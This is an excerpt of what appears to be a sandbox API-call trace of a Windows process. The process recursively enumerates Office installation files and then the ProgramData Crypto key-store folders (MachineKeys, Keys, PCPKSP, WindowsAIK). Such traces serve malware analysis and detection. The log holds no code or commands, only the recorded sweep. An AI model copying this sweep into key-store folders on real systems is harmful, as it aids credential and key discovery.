	[0063.214] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed20b499, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed20b499, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1
	[0063.214] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed1e5243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed1e5243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1
	[0063.214] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed12666a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed12666a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1
	[0063.214] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0da264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed0da264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1
	[0063.214] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b87bb60, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed08dd97, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed08dd97, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed067a9a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1
	[0063.215] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1
	[0063.216] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1
	[0063.217] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 1
	[0063.217] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 0
	[0063.217] FindClose (in: hFindFile=0xbaa6c8 | out: hFindFile=0xbaa6c8) returned 1
	[0063.220] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.220] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0
	[0063.220] FindClose (in: hFindFile=0xbaa748 | out: hFindFile=0xbaa748) returned 1
	[0063.220] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3860060 | out: hHeap=0x2720000) returned 1
	[0063.221] FindNextFileW (in: hFindFile=0xbaa548, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0063.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\*", lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa888
	[0063.221] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.221] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
	[0063.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName=".", cAlternateFileName="")) returned 0xbaa448
	[0063.222] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x42e812c9, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x42e812c9, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="..", cAlternateFileName="")) returned 1
	[0063.222] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0063.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa8c8
	[0063.532] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.532] FindNextFileW (in: hFindFile=0xbaa8c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.532] FindClose (in: hFindFile=0xbaa8c8 | out: hFindFile=0xbaa8c8) returned 1
	[0063.532] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.532] FindNextFileW (in: hFindFile=0xbaa448, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0063.532] FindClose (in: hFindFile=0xbaa448 | out: hFindFile=0xbaa448) returned 1
	[0063.532] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.534] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0063.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName=".", cAlternateFileName="")) returned 0xbaa608
	[0063.535] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="..", cAlternateFileName="")) returned 1
	[0063.535] FindNextFileW (in: hFindFile=0xbaa608, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="..", cAlternateFileName="")) returned 0
	[0063.535] FindClose (in: hFindFile=0xbaa608 | out: hFindFile=0xbaa608) returned 1
	[0063.535] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.535] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1
	[0063.535] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName=".", cAlternateFileName="")) returned 0xbaa848
	[0063.536] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="..", cAlternateFileName="")) returned 1
	[0063.536] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1
